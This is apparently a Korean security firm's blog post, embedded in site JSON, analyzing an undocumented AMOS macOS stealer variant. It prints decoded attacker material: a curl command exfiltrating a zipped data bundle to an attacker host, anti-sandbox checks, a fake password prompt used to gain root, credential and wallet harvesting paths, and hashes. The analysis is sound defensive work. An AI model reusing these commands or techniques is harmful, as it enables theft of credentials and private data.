[{"data":1,"prerenderedAt":3346},["ShallowReactive",2],{"sc:header-data-ko":3,"sc:footer-data-ko":489,"post-ko--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2773,"content-ko-list-7b291c2dd91a4":3126,"authors_data:Pascal Asch":3343},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"ko":13},{"title":14,"url":15,"alt":16},"홈","/ko","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"ko":21},{"title":22,"description":23},"Workplace","스마트하고 안전하며 유연한 워크스페이스를 위한 Microsoft 365 기반 솔루션으로, 최신 기술과 ID 서비스를 매끄럽게 통합합니다.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"ko":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"ko":34},{"title":35,"url":36},"Managed Intune","/ko/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"ko":40},{"title":41,"url":42},"Managed Entra","/ko/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"ko":46},{"title":47,"url":48},"Managed Workplace","/ko/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"ko":52},{"title":53,"url":54},"Consulting Services","/ko/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"ko":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"ko":64},{"title":65,"url":66},"Microsoft Entra Suite","/ko/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"ko":70},{"title":71,"url":72},"Microsoft Intune","/ko/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"ko":76},{"title":77,"url":78},"Microsoft Windows","/ko/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"ko":82},{"title":83,"url":84},"Windows 365 Cloud PC","/ko/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"ko":88},{"title":89,"url":90},"Cloud Workplace Foundation","/ko/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"ko":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"ko":100},{"title":101,"url":102},"Microsoft 365 Copilot","/ko/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"ko":106},{"title":107,"url":108},"Teams","/ko/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"ko":112},{"title":113,"url":114},"SharePoint & Power Platform","/ko/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"ko":118},{"title":119,"url":120},"Exchange Online","/ko/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"ko":124},{"title":125,"url":126},"Information Protection & Compliance","/ko/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"ko":130},{"title":131,"description":132},"Azure","Azure로 성장을 가속하세요: IaaS와 PaaS를 통해 클라우드 비용을 절감하고 효율을 높이며 혁신을 추진합니다.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"ko":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"ko":142},{"title":143,"url":144},"Azure Managed Services","/ko/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"ko":148},{"title":149,"url":150},"Azure Consulting","/ko/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"ko":154},{"title":155},"시나리오",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"ko":160},{"title":161,"url":162},"클라우드 계획","/ko/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"ko":166},{"title":167,"url":168},"클라우드로 마이그레이션","/ko/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"ko":172},{"title":173,"url":174},"비즈니스 혁신","/ko/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"ko":178},{"title":179,"url":180},"VMware 전략 재검토","/ko/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"ko":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"ko":190},{"title":191,"url":192},"Azure Foundation","/ko/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"ko":196},{"title":197,"url":198},"Azure AI Foundation","/ko/azure/azure-ai-foundation",{"name":86,"languages":200},{"ko":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"ko":205},{"title":206,"url":207},"Azure Data Foundation","/ko/azure/azure-data-foundation",{"name":188,"languages":209},{"ko":210},{"title":211,"url":212},"Azure Container Foundation","/ko/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"ko":216},{"title":217,"url":218},"Managed Dark Tenant","/ko/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"ko":222},{"title":223,"url":224},"Cloud Adoption Framework","/ko/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"ko":228},{"title":229,"url":230},"Cloud Competence Center","/ko/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"ko":234},{"title":235,"description":236,"emergency":237},"보안","수상 경력의 24/7 매니지드 서비스, 인시던트 대응, 최신 인프라 보호로 클라우드를 지킵니다.",{"text":238,"href":239,"skin":240,"icon":241},"공격을 받고 있나요?","/ko/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"ko":249},{"title":250,"url":251},"Managed Red Tenant","/ko/security/managed-red-tenant",{"name":214,"languages":253},{"ko":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"ko":259},{"title":260,"url":261},"Sentinel Data Lake","/ko/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"ko":265},{"title":266,"url":267},"Security Consulting","/ko/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"ko":274},{"title":275,"url":276},"Cloud Security Operations Center","/ko/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"ko":280},{"title":281,"url":282},"Global Secure Access","/ko/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"ko":286},{"title":287,"url":288},"MyWorkID","/ko/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"ko":295},{"title":296,"url":297},"Preventive Services","/ko/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"ko":301},{"title":302,"url":303},"Data Security Service","/ko/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"ko":307},{"title":308,"url":309},"Security Copilot Agents","/ko/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"ko":313},{"title":314,"url":315},"NIS2 이행","/ko/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"ko":319},{"title":320,"description":321},"제품","완전히 안전한 100% 클라우드 네이티브 Microsoft 환경을 위한 혁신적인 제품군으로, 협업과 네트워크 인증, 소프트웨어 관리를 강화합니다.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"ko":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","클라우드 기반 소프트웨어 배포",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"ko":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","클라우드에서 인증서 배포",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"ko":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Office 365 데이터를 로컬에서 활용",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"ko":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","서버 간 데이터 마이그레이션",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"ko":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Microsoft 365용 Terraform Provider",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"ko":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","네트워크 인증",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"ko":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Microsoft Teams에서 연락처 찾기",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"ko":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","실시간 Windows Autopilot 모니터링",{"name":396,"languages":397},"casestudies",{"ko":398},{"title":399,"url":400,"description":401},"고객 사례","/ko/casestudies","클라우드의 선구자: Blueprint 기반 접근 방식과 Infrastructure-as-Code 전문성을 갖춘, 포괄적인 클라우드 솔루션을 위한 최고의 Microsoft 파트너입니다.",{"name":403,"languages":404,"children":407},"company",{"ko":405},{"title":406,"description":401},"회사",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"ko":411},{"title":412},"회사 소개",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"ko":417},{"title":418,"url":419},"주요 현황","/ko/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"ko":423},{"title":424,"url":425},"연락처 및 위치","/ko/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"ko":429},{"title":430,"url":431}," glueckkanja 스위스","/ko/company/switzerland",{"name":433,"languages":434},"austria",{"ko":435},{"title":436,"url":437},"glueckkanja 오스트리아","/ko/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"ko":441},{"title":442},"채용",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"ko":447},{"title":448,"url":449},"채용 안내","/ko/career",{"name":451,"languages":452},"company-young-professionals",{"ko":453},{"title":454,"url":455},"Young Professionals","/ko/young-professionals",{"name":457,"languages":458},"company-jobs",{"ko":459},{"title":460,"url":461},"채용 공고","/ko/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"ko":465},{"title":466},"최신 소식",[468,474],{"name":469,"languages":470},"company-blog",{"ko":471},{"title":472,"url":473},"블로그","/ko/blog",{"name":469,"languages":475},{"ko":476},{"title":477,"url":478},"이벤트","/ko/events",[480],{"name":481,"languages":482},"career-meta",{"ko":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"ko":487},{"title":488,"url":425,"active":484},"문의",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksKo":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"개인정보 처리방침","/ko/privacy",{"title":514,"url":515},"법적 고지","/ko/imprint",{"title":517,"url":518},"쿠키 없음","/ko/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2675,"hideInRecent":484,"layout":2676,"meta":2677,"moment":2681,"navigation":325,"path":2763,"seo":2764,"stem":2765,"tags":2766,"webcast":484,"__hash__":2772},"content_ko/posts/2026-04-10-incident-to-intelligence.md","알려지지 않은 AMOS 스틸러의 해부: 알림에서 몇 시간 만에 면역까지",[523],"Pascal Asch",{"type":525,"value":526,"toc":2639},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,607,609,612,635,638,646,649,657,664,668,670,673,681,696,700,702,705,710,713,721,725,727,735,739,741,744,748,750,753,761,765,767,775,778,876,879,909,911,915,917,923,926,930,932,1016,1020,1022,1033,1039,1113,1124,1131,1135,1137,1202,1206,1208,1215,1217,1221,1223,1230,1256,1443,1446,1454,1465,1468,1476,1490,1503,1505,1509,1511,1530,1552,1742,1745,1753,1756,1759,1761,1765,1767,1770,1850,1853,1872,1951,1954,1956,1960,1962,1965,1972,2027,2030,2038,2041,2043,2047,2049,2056,2068,2116,2127,2166,2175,2190,2193,2195,2199,2201,2208,2211,2219,2222,2230,2244,2247,2249,2253,2255,2265,2269,2271,2289,2297,2311,2331,2335,2337,2340,2348,2351,2359,2373,2377,2379,2382,2390,2409,2415,2419,2421,2429,2435,2442,2446,2448,2456,2460,2462,2465,2473,2476,2480,2482,2490,2494,2496,2504,2508,2510,2518,2522,2524,2532,2549,2554,2556,2559,2561,2568,2585,2588,2601,2603,2607,2609,2612,2615,2618,2635],[528,529,530],"p",{},"우리 SOC에서 알림이 발생하면 시계가 돌아가기 시작합니다. 해당 고객뿐 아니라 우리 보호 아래에 있는 모든 조직에 대해서 말입니다. 현대 위협 환경에서 가장 위험한 순간은 인텔리전스 갭(Intelligence Gap), 즉 새로운 멀웨어 변종이 처음 사용된 시점과 업계가 그것을 알게 되는 날 사이의 시간 창입니다.",[528,532,533],{},"독립적으로 운영되는 보안 팀에게 이 간극은 극도의 취약성을 의미합니다. 아직 작성되지도 않은 벤더 업데이트나 시그니처 피드를 기다려야 하기 때문입니다. 우리 고객에게는 우리가 자체 개발한 Shared Threat Intelligence가 바로 이 창을 닫아 줍니다.",[528,535,536],{},"이 글은 지금까지 문서화되지 않은 AMOS 변종(Atomic macOS Stealer)을 우리가 어떻게 해체했는지, 그리고 단 하나의 침해된 엔드포인트가 어떻게 몇 시간 만에 우리의 모든 고객 환경을 아우르는 탐지와 차단으로 이어졌는지에 대한 기술적 분석입니다.",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"사건-알려지지-않은-ioc-시나리오","사건: 알려지지 않은 IOC 시나리오",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"알림은 2026년 3월 12일 현지 시각 06시 25분에 도착했습니다. macOS 엔드포인트 하나가 침해된 것입니다. 우리 SOC가 아티팩트 분석에 착수했을 때, 우리는 모든 위협 분석가가 두려워하는 상황에 직면했습니다. 알려진 파일 해시도, C2 IP 주소도, 공개 데이터베이스에서 의미 있는 행위 시그니처도 없었습니다.",[528,552,553,554,558],{},"전체 공격 아키텍처는 심층 분석에 이르러서야 드러났습니다. 이 감염은 ",[555,556,557],"code",{},"/private/tmp/helper","에 저장된 15.7MB 크기의 macOS 유니버설 바이너리(x86_64 및 ARM64)에 기반하고 있었습니다. 샘플은 침해된 시스템에서 직접 확보할 수 없었기에, 우리 팀은 감염 체인을 재구성하고 최초의 전송 요청을 시뮬레이션하여 공격자 인프라에서 바이너리를 수동으로 가져와야 했습니다.",[538,560],{},[562,563,565],"h2",{"id":564},"_1단계-샌드박스-점검","1단계: 샌드박스 점검",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"실제 스틸러가 기기에서 실행되기 전에, 이미 AppleScript 페이로드가 한 차례 실행된 상태였습니다. 그 안의 모든 문자열, 모든 파일 경로, 모든 셸 명령, 모든 URL이 세 개의 사용자 정의 산술 함수를 통해 인코딩되어 있었습니다:",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"단 하나의 문자열도 평문으로 나타나지 않습니다. 언뜻 의미 없는 정수 배열처럼 보였던 것이, 인코딩 방식을 역으로 풀어내자 완전하고 즉시 사용 가능한 데이터 탈취 및 유출 프레임워크로 드러났습니다.",[528,590,591],{},"우리는 스크립트의 모든 배열을 정적으로 디코딩했습니다. 결과는 명확했습니다:",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"다운로드 URL은 개발자와 DevOps 엔지니어 사이에서 널리 쓰이는 도구인 정상적인 n8n 워크플로 자동화 업데이트를 의도적으로 모방합니다. 이는 우연이 아닙니다. 이 캠페인은 크랙된 소프트웨어를 설치하는 일반 최종 사용자가 아니라, 기술적으로 숙련된 사용자를 겨냥합니다.",[562,604,606],{"id":605},"안티-샌드박스-검사","안티 샌드박스 검사",[528,608,568],{},[528,610,611],{},"다운로드에 앞서 스크립트는 전용 VM 및 샌드박스 탐지 루틴을 실행했습니다. 인시던트 아티팩트로부터 우리는 별도의 독립적인 안티 샌드박스 스크립트도 복원할 수 있었습니다:",[573,613,614],{"style":575},[577,615,619],{"className":616,"code":617,"language":618,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,620,621,629],{"__ignoreMap":585},[622,623,626],"span",{"class":624,"line":625},"line",1,[622,627,628],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[622,630,632],{"class":624,"line":631},2,[622,633,634],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,636,637],{},"그런 다음 스크립트는 그 결과를 두 개의 목록과 대조했습니다. 첫 번째 목록은 메모리 데이터에서 가상화 표식을 찾았습니다:",[573,639,640],{"style":575},[577,641,644],{"className":642,"code":643,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,645,643],{"__ignoreMap":585},[528,647,648],{},"두 번째 목록은 하드웨어 식별자를 알려진 분석 장비의 일련번호 목록과 대조했습니다:",[573,650,651],{"style":575},[577,652,655],{"className":653,"code":654,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,656,654],{"__ignoreMap":585},[528,658,659,660,663],{},"일치하는 항목이 있으면 ",[555,661,662],{},"exit 100","으로 완전히 중단합니다. Apple Silicon을 탑재한 실제 MacBook Pro에서는 모든 검사가 조용히 통과되었고, 실행이 계속되었습니다. 바이너리의 단 1바이트가 다운로드되기도 전에 작동하는, 전문가 수준의 샌드박스 회피 기법입니다.",[562,665,667],{"id":666},"단순하지만-효과적인-방식-위조된-비밀번호-입력창","단순하지만 효과적인 방식: 위조된 비밀번호 입력창",[528,669,568],{},[528,671,672],{},"디코딩된 스크립트에는 소셜 엔지니어링을 통한 권한 상승용 대화상자도 들어 있었습니다:",[573,674,675],{"style":575},[577,676,679],{"className":677,"code":678,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,680,678],{"__ignoreMap":585},[528,682,683,684,687,688,691,692,695],{},"이 대화상자는 ",[555,685,686],{},"with hidden answer"," 옵션이 붙은 표준 macOS ",[555,689,690],{},"display dialog"," 호출을 통해 표시되며, 겉보기에 실제 macOS 인증 요청과 구별할 수 없습니다. 스크립트는 입력된 비밀번호를 사용해 ",[555,693,694],{},"login -pf \u003Cusername>","를 호출했고, 바이너리가 실행되기도 전에 프로세스를 루트 권한으로 상승시켰습니다.",[562,697,699],{"id":698},"스크립트가-수집한-것","스크립트가 수집한 것",[528,701,568],{},[528,703,704],{},"바이너리가 실행되자마자 osascript는 자체 수집 절차를 이어가며 모든 범주의 민감한 시스템 데이터를 빼내기 시작했습니다. 우리는 모든 수집 경로와 대상을 디코딩했습니다:",[706,707,709],"h3",{"id":708},"브라우저-데이터모든-chromium-브라우저-safari","브라우저 데이터(모든 Chromium 브라우저 + Safari):",[528,711,712],{},"{: .font-size-4}",[573,714,715],{"style":575},[577,716,719],{"className":717,"code":718,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,720,718],{"__ignoreMap":585},[706,722,724],{"id":723},"macos-keychain","macOS Keychain:",[528,726,712],{},[573,728,729],{"style":575},[577,730,733],{"className":731,"code":732,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,734,732],{"__ignoreMap":585},[706,736,738],{"id":737},"apple-notes","Apple Notes",[528,740,712],{},[528,742,743],{},"카운터 헤더와 함께 전체 내용을 HTML로 내보냄",[706,745,747],{"id":746},"로컬-파일","로컬 파일",[528,749,712],{},[528,751,752],{},"데스크톱과 문서 폴더, 최대 30MB, 다음 확장자에 집중:",[573,754,755],{"style":575},[577,756,759],{"className":757,"code":758,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,760,758],{"__ignoreMap":585},[706,762,764],{"id":763},"암호화폐-지갑","암호화폐 지갑",[528,766,712],{},[528,768,769,770,774],{},"MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI, Exodus를 포함해 모든 주요 지갑을 아우르는 ",[771,772,773],"strong",{},"200개가 넘는 브라우저 확장 프로그램 ID","의 하드코딩된 목록입니다.",[528,776,777],{},"수집이 끝나면 모든 데이터가 무작위로 이름 붙여진 임시 디렉터리에 묶여 유출되었습니다:",[573,779,780],{"style":575},[577,781,785],{"className":782,"code":783,"language":784,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,786,787,821,847,864],{"__ignoreMap":585},[622,788,789,793,797,800,803,807,811,815,818],{"class":624,"line":625},[622,790,792],{"class":791},"sScJk","ditto",[622,794,796],{"class":795},"sj4cs"," -c",[622,798,799],{"class":795}," -k",[622,801,802],{"class":795}," --sequesterRsrc",[622,804,806],{"class":805},"szBVR"," \u003C",[622,808,810],{"class":809},"sZZnC","staging_di",[622,812,814],{"class":813},"sVt8B","r",[622,816,817],{"class":805},">",[622,819,820],{"class":809}," /tmp/out.zip\n",[622,822,823,826,829,832,835,838,841,844],{"class":624,"line":631},[622,824,825],{"class":791},"curl",[622,827,828],{"class":795}," --connect-timeout",[622,830,831],{"class":795}," 120",[622,833,834],{"class":795}," --max-time",[622,836,837],{"class":795}," 300",[622,839,840],{"class":795}," -X",[622,842,843],{"class":809}," POST",[622,845,846],{"class":795}," \\\n",[622,848,850,853,856,859,862],{"class":624,"line":849},3,[622,851,852],{"class":795},"  -H",[622,854,855],{"class":809}," \"user: \u003Cuuid>\"",[622,857,858],{"class":795}," -H",[622,860,861],{"class":809}," \"BuildID: \u003Chw_profile>\"",[622,863,846],{"class":795},[622,865,867,870,873],{"class":624,"line":866},4,[622,868,869],{"class":795},"  -F",[622,871,872],{"class":809}," \"file=@/tmp/out.zip\"",[622,874,875],{"class":809}," laislivon[.]com/contact\n",[528,877,878],{},"정리 작업이 곧바로 뒤따랐습니다:",[573,880,881],{"style":575},[577,882,884],{"className":782,"code":883,"language":784,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,885,886,903],{"__ignoreMap":585},[622,887,888,891,894,896,898,900],{"class":624,"line":625},[622,889,890],{"class":791},"rm",[622,892,893],{"class":795}," -r",[622,895,806],{"class":805},[622,897,810],{"class":809},[622,899,814],{"class":813},[622,901,902],{"class":805},">\n",[622,904,905,907],{"class":624,"line":631},[622,906,890],{"class":791},[622,908,820],{"class":809},[538,910],{},[541,912,914],{"id":913},"_2단계-helper-바이너리-리버스-엔지니어링","2단계: 'helper' 바이너리 리버스 엔지니어링",[528,916,547],{},[528,918,919,922],{},[555,920,921],{},"helper"," 바이너리는 이 분석이 정말로 깊이 파고드는 부분입니다. 이것은 정적 분석을 체계적으로 방해하도록 전문적으로 난독화된 macOS 실행 파일로, 이번 조사에서 가장 큰 리버스 엔지니어링 노력을 요구했습니다.",[528,924,925],{},"전체 분석은 Ghidra와 우리의 사용자 정의 ARM64 분석 워크플로로 수행했습니다.",[562,927,929],{"id":928},"파일-속성","파일 속성",[528,931,568],{},[573,933,935],{"style":934},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[936,937,939,940,939,956],"table",{"style":938},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[941,942,943,944,939],"thead",{},"\n    ",[945,946,947,948,947,953,943],"tr",{},"\n      ",[949,950,952],"th",{"style":951},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","속성",[949,954,955],{"style":951},"값",[957,958,943,959,943,969,943,978,943,986,943,996,943,1006,939],"tbody",{},[945,960,947,961,947,966,943],{},[962,963,965],"td",{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","포맷",[962,967,968],{"style":964},"Mach-O Universal Binary",[945,970,947,971,947,975,943],{},[962,972,974],{"style":973},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","아키텍처",[962,976,977],{"style":973},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[945,979,947,980,947,983,943],{},[962,981,982],{"style":964},"크기",[962,984,985],{"style":964},"15.7 MB",[945,987,947,988,947,991,943],{},[962,989,990],{"style":973},"MD5",[962,992,993],{"style":973},[555,994,995],{},"4599fdf2fa2099b30d8bbf76703dd634",[945,997,947,998,947,1001,943],{},[962,999,1000],{"style":964},"SHA-1",[962,1002,1003],{"style":964},[555,1004,1005],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[945,1007,947,1008,947,1011,943],{},[962,1009,1010],{"style":973},"SHA-256",[962,1012,1013],{"style":973},[555,1014,1015],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1017,1019],{"id":1018},"실행은-main-이전에-시작된다","실행은 main() 이전에 시작된다",[528,1021,568],{},[528,1023,1024,1025,1028,1029,1032],{},"우리가 Ghidra에서 가장 먼저 확인한 사실은, 이 바이너리가 일반적인 실행 파일처럼 동작하지 않는다는 점이었습니다. 실제 진입점은 ",[555,1026,1027],{},"main()","이 아니라 ",[555,1030,1031],{},"__mod_init_func","에 등록된 함수입니다. 이는 동적 링커(dyld)에게 바이너리 로드 시 특정 함수를 자동으로, 그것도 실질적인 코드가 실행되기 전에 실행하도록 지시하는 macOS 메커니즘입니다.",[528,1034,1035,1038],{},[555,1036,1037],{},"0x10009f384","에 있는 init 함수가 이 멀웨어의 실제 진입점입니다. 다음은 Ghidra 디컴파일 결과입니다:",[573,1040,1041],{"style":575},[1042,1043,1044,1048,1051,1054,1058,1059,1063,1064,1066,1067,1070,1071,1085],"code-block",{},[622,1045,1047],{"style":1046},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1049,1050],"br",{},[622,1052,1053],{"style":1046},"// __mod_init_func registered — executes before main()",[622,1055,1057],{"style":1056},"color:#d73a49","void"," ",[622,1060,1062],{"style":1061},"color:#6f42c1","FUN_10009f384","(",[622,1065,1057],{"style":1056},")\n{\n  ",[622,1068,1069],{"style":1056},"int"," iVar1;\n",[528,1072,1073,1076,1077,1063,1080,1084],{},[622,1074,1075],{"style":1046},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[622,1078,1079],{"style":1061},"_usleep",[622,1081,1083],{"style":1082},"color:#005cc5","0x37e",");",[528,1086,1087,1090,1093,1094,1096,1097,1100,1101,1104,1105,1108,1109,1112],{},[622,1088,1089],{"style":1046},"// Indirect jump table — 14-state machine",[622,1091,1092],{"style":1046},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[622,1095,555],{"style":1056}," _)((",[622,1098,1099],{"style":1056},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[622,1102,1103],{"style":1082},"4"," + ",[622,1106,1107],{"style":1082},"0x10009f440","))(iVar1);\n",[622,1110,1111],{"style":1056},"return",";\n}",[528,1114,1115,1116,1119,1120,1123],{},"두 가지가 즉시 눈에 띕니다. 첫째, 시작 시점의 894마이크로초 ",[555,1117,1118],{},"usleep",", 즉 안티 샌드박스 타이밍 신호입니다. 더 심각한 것은 ",[555,1121,1122],{},"0x10009f43c","에 있는 간접 점프 테이블입니다. 이것은 목표 주소가 실행 시점에 룩업 테이블에서 결정되는 계산된 분기(branch)입니다. 정적 분석 도구는 제어 흐름 그래프를 재구성할 수 없으며, Ghidra는 실행 경로를 추적하려는 과정에서 